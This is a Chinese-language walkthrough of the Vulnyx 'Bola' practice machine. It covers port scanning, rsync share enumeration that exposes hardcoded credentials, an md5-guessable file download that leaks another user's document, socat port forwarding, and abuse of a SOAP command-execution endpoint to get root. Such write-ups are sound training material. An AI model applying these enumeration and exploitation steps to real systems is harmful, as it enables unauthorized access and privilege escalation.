Vulnyx靶场复盘 - Bola

信息收集

首先使用 Nmap 进行端口扫描，目标 IP 为 192.168.56.51，扫描结果如下：

Copy
┌──(root㉿kali)-[~/vulnyx/bola]
└─# cat nmapscan/detail
# Nmap 7.95 scan initiated Fri Feb 7 15:47:02 2025 as: /usr/lib/nmap/nmap -sC -sV -p22,80,873 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.51
Nmap scan report for 192.168.56.51
Host is up (0.00094s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Did not follow redirect to http://bola.nyx
|_http-server-header: Apache/2.4.62 (Debian)
873/tcp open rsync (protocol version 32)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到：

端口 80 运行着 Apache 2.4.62，访问后发现会自动跳转至 http://bola.nyx/，因此需要在 /etc/hosts 添加解析：

Copy
192.168.56.51 bola.nyx

端口 873 运行 rsync，可能存在未授权访问或敏感文件泄露。

Web 端初步探测

使用 curl 直接请求 80 端口，确认跳转逻辑：

Copy
┌──(root㉿kali)-[~/vulnyx/bola]
└─# curl -v 192.168.56.51

返回 302 跳转至 http://bola.nyx/，打开页面后是一个登录界面，尝试注册发现无效，只能暂时放弃 web 了。

Rsync 服务利用

由于 rsync 可能会暴露敏感文件，编写简单脚本进行共享目录枚举：

Copy
for i in $(cat /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt); do
echo $i
rsync -av --list-only rsync://192.168.56.51/$i 2>&1 | grep -Pv 'Unknown|error'
done

(眼神好一点) 最终在 extensions 目录下发现文件，直接同步到本地：

Copy
┌──(root㉿kali)-[~/vulnyx/bola]
└─# rsync -av rsync://192.168.56.51/extensions ./rsync

在下载的 rsync 目录中 grep 关键字 password，成功发现硬编码的凭据：

Copy
┌──(root㉿kali)-[~/vulnyx/bola]
└─# grep -nir password ./rsync
./rsync/background.js:4: { site: "bola.nyx", username: "jackie0x17@nyx.com", password: "sbIJ0x9g{C3`" }

Web 后台访问

拿到凭据 jackie0x17@nyx.com / sbIJ0x9g{C3 后，尝试登录 http://bola.nyx/admin/admin.php，发现后台就给了一个 PDF 文件下载连接，其他啥也没有。简单浏览下 PDF ，发现是介绍 WSDL Server 的，猜测后续突破口可能与 WSDL 接口渗透有关。

WSDL（Web Services Description Language） 是一种基于 XML 的 Web 服务描述语言，通常用于 SOAP 通信。

此外，PDF 文件的下载地址为：

http://bola.nyx/download.php?file_name=115a2cf084dd7e70a91187f799a7d5a8.pdf

尝试文件包含，Fuzz 下路径和扩展名，注意带上刚才登录的 cookie：

Copy
wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-extensions.txt -u http://bola.nyx/download.php?file_name=FUZZ.FUZ2Z -H "Cookie: PHPSESSID=9j7shv4e58ahnemep2p5vld4ed" --hw 5

无果。

然后 dirsearch 扫了一遍，发现有新东西：

http://bola.nyx/.well-known/openid-configuration

openid-configuration 是 OAuth 2.0 - OpenID Connect 的配置文件。

给了很多信息，一时不知道怎么利用，思路断了。

后来才知道 PDF 文件名是 md5 加密的字符串，可以解出来，但我尝试了好几个 md5 解密网站都失败了，cmd5 又需要付费，这里直接贴出结果：jackie0x17

验证一下：

Copy
┌──(root㉿kali)-[~/vulnyx/bola]
└─# echo -n jackie0x17 |md5sum
115a2cf084dd7e70a91187f799a7d5a8 -

由此推测，可能还有其他用户名对应的 PDF，尝试计算：

Copy
echo -n "d4t4s3c" | md5sum
97035ded598faa2ce8ff63f7f9dd3b70 -

echo -n "ct0l4" | md5sum
4a8f81d01d65d3468955191045816c85 -

用上面第一个成功下载新的 PDF——《WSDL Server VulNyx - How to Connect》，并找到以下代码：

Copy
"""
Example with Python and Spyne
An example of how to implement a WSDL server in Python using Spyne
"""

from spyne import Application, rpc, ServiceBase, String
from spyne.protocol.soap import Soap11
from spyne.server.wsgi import WsgiApplication
class LoginService(ServiceBase):
@rpc(String, String, _returns=String)
def login(ctx, username, password):
if username == "admin" and password ==
"VulNyxtestinglogin123":
return "Login successful"
return "Invalid credentials"
app = Application([LoginService], 'http://bola.nyx:9000/wsdl',
in_protocol=Soap11(validator='lxml'),
out_protocol=Soap11())
server = WsgiApplication(app)
from wsgiref.simple_server import make_server
if __name__ == '__main__':
server = make_server('localhost', 9000, server)
print("WSDL Server running at http://localhost:9000")
server.serve_forever()

其中 admin 账户的密码为：VulNyxtestinglogin123。经验证得到一组 ssh 凭据：d4t4s3c:VulNyxtestinglogin123

Copy
d4t4s3c@bola:~$ id
uid=1000(d4t4s3c) gid=1000(pijusmagnifikus) groups=1000(pijusmagnifikus),1003(d4t4s3c)
d4t4s3c@bola:~$ ls
user.txt

至此就拿到了 User Flag。

提权

确认目标端口信息

使用 ss -plntu 命令查看当前监听的端口：

Copy
d4t4s3c@bola:~$ ss -plntu
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:9000 0.0.0.0:*
tcp LISTEN 0 5 0.0.0.0:873 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 5 [::]:873 [::]:*

发现 9000 端口 运行的是 WSDL 服务，但仅在本地监听。

端口转发

由于 9000 端口未对外暴露，使用 socat 进行端口转发，使其外部可访问：

Copy
socat TCP-LISTEN:8000,fork TCP4:127.0.0.1:9000 &

现在可以通过 http://192.168.56.51:8000/wsdl 访问 WSDL 服务。

WSDL 服务分析

访问 WSDL，发现其接口定义：

Copy
<definitions name="VulNyxSOAP"
targetNamespace="http://localhost/wsdl/VulNyxSOAP.wsdl"
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:tns="http://localhost/wsdl/VulNyxSOAP.wsdl"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">

<message name="LoginRequest">
<part name="username" element="username"/>
<part name="password" element="password"/>
</message>

<message name="ExecuteCommandRequest">
<part name="cmd" element="cmd"/>
</message>

<portType name="VulNyxSOAPPortType">
<operation name="ExecuteCommand">


</operation>
</portType>

<binding name="VulNyxSOAPBinding" type="tns:VulNyxSOAPPortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand"/>
<soap:body use="literal"/>
<soap:body use="literal"/>
</operation>
</binding>

<service name="VulNyxSOAP">
<port binding="tns:VulNyxSOAPBinding" name="VulNyxSOAPPort">
<soap:address location="http://localhost:9000/wsdl/" />
</port>
</service>
</definitions>

具体定义可以 curl http://192.168.56.51:8000/wsdl/VulNyxSOAP.wsdl

并发现 ExecuteCommandRequest 可执行命令，疑似 RCE 漏洞。

我这里使用 ReadyAPI 自动构造 SOAP 请求，下面图示为具体操作步骤：

就添加好了。

选择 ExecuteCommand ，在 cmd 参数中输入命令，发现成功执行命令：

可以看到 id 已经是 root 的了。

接下来反弹 shell 或者直接读 flag 就行了。

我的方案是向 /etc/passwd 追加一个用户，然后直接切换即可：

此外，我还尝试使用国产 API 测试软件 Apifox，但由于其对 WSDL 的支持较为有限，无法自动构造 SOAP 请求，因此未能成功进行接口测试。不过，仍然希望国产软件能够不断进步，未来在更多安全测试场景中发挥作用！

还是补一下使用方法：

首先 CTRL+O 导入数据：

目前 Apifox 并不直接支持通过 URL 导入 WSDL 文件，仅支持上传本地的 WSDL 文件。

wget http://IP:8000?wsdl -O service.wsdl
然后拖过去即可。